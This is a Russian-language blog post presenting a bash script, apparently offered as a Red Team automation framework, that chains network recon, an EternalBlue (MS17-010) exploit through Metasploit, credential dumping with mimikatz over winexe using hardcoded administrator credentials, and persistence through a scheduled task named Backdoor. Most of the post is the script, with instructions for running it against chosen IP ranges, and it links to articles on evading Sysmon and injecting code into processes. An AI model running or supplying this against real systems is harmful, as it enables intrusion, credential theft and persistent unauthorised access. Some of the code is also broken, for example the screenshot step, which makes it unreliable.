В этой статье хочу поделится с вами скриптом, который является частью Offensive Security Automation Framework для автоматизации задач Red Team. Он автоматизирует несколько этапов атаки: разведку (recon), эксплуатацию уязвимостей (exploit), постэксплуатацию (post-exploitation) и создание отчетов.
Что такое OSAF
Offensive Security Automation Framework (OSAF) выполняет автоматическую разведку, эксплуатацию уязвимостей, постэксплуатацию и создание отчетов, предоставляя полный набор инструментов для команд Red Team.
Возможности скрипта:
- Разведка (Reconnaissance): Выполняет сканирование сети (с помощью Nmap), перечисление поддоменов и поиск уязвимостей (Nikto).
- Эксплуатация (Exploitation): Использует уязвимости для атак на цели. В примере задействованы:
- Уязвимость MS17-010 (EternalBlue).
- Внедрение XSS.
- Повышение привилегий на Linux.
- Постэксплуатация (Post-exploitation): Получение учетных данных с помощью Mimikatz, создание задач для сохранения доступа (persistence), захват скриншотов удаленных машин.
- Отчет (Reporting): Автоматически собирает результаты всех атак и создает финальный отчет.
Цели и уязвимости можно настроить через переменные TARGETS и EXPLOIT_MODULES.
Вот сам скрипт:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
# Filename: osaf.sh # Переменные конфигурации TARGETS=("192.168.10.0/24" "192.168.20.0/24") # Define target networks REPORT_DIR=~/osaf_reports EXPLOIT_MODULES=("smb_ms17_010" "web_xss_injection" "linux_priv_esc") # Add or modify exploit modules # Создание директорий для логов и отчетов mkdir -p $REPORT_DIR/logs mkdir -p $REPORT_DIR/screenshots # Шаг 1: Автоматизированная разведка function recon { echo "[*] Starting reconnaissance..." for target in "${TARGETS[@]}"; do echo "[*] Scanning network: $target" nmap -sS -p- --open -oA $REPORT_DIR/logs/nmap_scan_$target $target echo "[*] Running subdomain enumeration..." subfinder -d example.com -o $REPORT_DIR/logs/subdomains_$target.txt echo "[*] Performing vulnerability scan..." nikto -h $target -o $REPORT_DIR/logs/nikto_scan_$target.txt done echo "[*] Reconnaissance complete." } # Шаг 2: Автоматизированная эксплуатация уязвимостей function exploit { echo "[*] Starting exploitation..." for target in "${TARGETS[@]}"; do for exploit in "${EXPLOIT_MODULES[@]}"; do echo "[*] Launching $exploit against $target" if [ "$exploit" == "smb_ms17_010" ]; then msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $target; exploit;" > $REPORT_DIR/logs/ms17_010_$target.log elif [ "$exploit" == "web_xss_injection" ]; then echo "[*] Running XSS exploit against $target" # Example placeholder # Add actual XSS payload here elif [ "$exploit" == "linux_priv_esc" ]; then echo "[*] Running privilege escalation on Linux target $target" # Example placeholder # Add actual Linux privilege escalation payload here fi done done echo "[*] Exploitation complete." } # Шаг 3: Автоматизированная постэксплуатация function post_exploit { echo "[*] Starting post-exploitation..." for target in "${TARGETS[@]}"; do echo "[*] Dumping credentials on $target" mimikatz_command="privilege::debug sekurlsa::logonpasswords exit" winexe -U 'Administrator%Password123' //$target "cmd.exe /c echo $mimikatz_command | mimikatz.exe" > $REPORT_DIR/logs/credentials_$target.txt echo "[*] Establishing persistence on $target" winexe -U 'Administrator%Password123' //$target "schtasks /create /sc minute /mo 10 /tn Backdoor /tr C:\Windows\System32\backdoor.exe" > $REPORT_DIR/logs/persistence_$target.txt echo "[*] Taking screenshot of $target's desktop" xfreerdp /v:$target /u:Administrator /p:Password123 /cert:ignore /dynamic-resolution /app:"explorer.exe" > $REPORT_DIR/screenshots/$target.png done echo "[*] Post-exploitation complete." } # Шаг 4: Автоматизированное создание отчетов function generate_report { echo "[*] Generating final report..." cat $REPORT_DIR/logs/* > $REPORT_DIR/final_report.txt echo "[*] Report generated: $REPORT_DIR/final_report.txt" } # Выполнение recon exploit post_exploit generate_report echo "[*] OSAF operation complete. Check $REPORT_DIR for details." |
Как использовать скрипт OSAF
- Настройте скрипт под свои целевые диапазоны IP-адресов и предпочтения по эксплуатации уязвимостей.
- Запустите скрипт для начала полной автоматизированной операции.
- Проверьте сгенерированные отчеты для получения детализированных логов всех атак и их результатов.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Уклонение от Sysmon при вредоносной активности Red Team
- GhostStrike — инструмент для внедрения кода в процессы Windows